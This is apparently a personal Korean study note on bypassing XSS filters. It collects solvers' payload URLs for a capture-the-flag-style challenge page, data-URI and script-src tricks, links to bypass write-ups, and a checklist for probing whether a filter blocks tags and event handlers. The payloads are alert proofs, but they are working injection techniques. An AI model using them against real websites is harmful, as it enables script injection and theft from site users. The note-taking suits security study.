XSS () 우회관련
http://osix.kr/xss2.php?url=javascript:{onerror=alert}throw[document.domain]
http://osix.kr/xss2.php?url=javascript:TypeError.prototype.name=[],0[onerror=alert][document.domain]
http://osix.kr/xss2.php?/**/=alert(document.domain)//&url=javascript:_=location.search,TypeError.prototype.name=_[1]%2B_[2],0[onerror=eval][location.search]
* Intended Solution
http://osix.kr/xss2.php?url=javascript:_=document.head.outerHTML%2BURL,_[0]%2B/script/.source%2B_[5]%2B/alert/.source%2B_[25]%2B/document.domain/.source%2B_[26]%2B_[0]%2B_[7]%2B/script/.source%2B_[5]
* 임준오님
http://osix.kr/xss2.php?url=javascript:_=URL%2B0,/alert/.source%2B_[12]%2B/document.domain/.source%2B_[13]instanceof{[Symbol.hasInstance]:eval}
* 아랑님
http://osix.kr/xss2.php?()&url=javascript:document.location=/javascript:alert/.source%2Blocation.href%5B24%5D%2b/document.domain/.source%2blocation.href%5B25%5D
* BadSpell님
http://osix.kr/xss2.php?/**/=alert(document.domain)//&url=javascript:_=location.search,TypeError.prototype.name=_[1]%2B_[2],0[onerror=eval][location.search]
최신 Ecma Script 기능을 활용한 XSS Filtering Bypass 및 원리 해설
최근 브라우저의 자바스크립트 엔진이 ecma script 2019(es10) 까지 업데이트 되며 많은 요소와 기능들이 추가되었습니다. 따라서 기존 javascript가 아닌 최신 ecma script 표준으로 인한 xss filtering bypass 기법들이 신설되고 있습니다. 이러한 내용들에 대해 공유하고 그 원리에 대해 간단히 설명드릴까 합니다. X
defenit.kr
XSS 외에도 읽을거 많은듯
https://www.hahwul.com/2019/02/mime-types-of-script-tag-for-xss.html
MIME Types of script tag (for XSS)
MIME Types of
1. html의 tag attribute에 삽입 가능할 때
2. svg 태그 내부에 삽입이 가능할 때
두가지 경우에 대해서는 브라우저에서 위 두가지 경우에서의 내용은 브라우저에서 html entitiy 를 디코드 해서 처리하기 때문에 서버 필터링을 우회하는 등의 용도로 사용할 수 있습니다.
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTs8L3NjcmlwdD4=">
<script src="data://test,alert(2);"></script>
-------------
<script></script> 태그 안에는 html 을 입력할 수 없다. 하지만 document.write('<input type=text>')로 입력할 수 있음
<script><script></script> 는 에러 발생. 주석이 안닫혀도 에러발생해서 실행이 안됨
<script></script>랑 이벤트핸들러 막혀도
스크립트가 실행 가능한 상황인지 판단해야한다.
1. <script src=http://test.com/xss.js> 형식 먼저 넣어본다
2. <script> 와 <img src=x onmouseenter=alert(1)> 등 이벤트핸들러가 막혀있는지 확인한다.
3. <iframe>, <svg> , <embed> 태그 등도 확인
이벤트핸들러도 막히고 <,>도 막히고 하면 답이없다 (우회방법 있는지 찾아봐야함)
삭제되는건지 아니면 on<x>error 처럼 막아버리는지 확인한다.
스크립트에서는 alert`1`;, alert(1);, alert throw 어쩌고 등의 실행 방법이있음
나머지 우회방법도 있음
XSS 정리좀 해야됨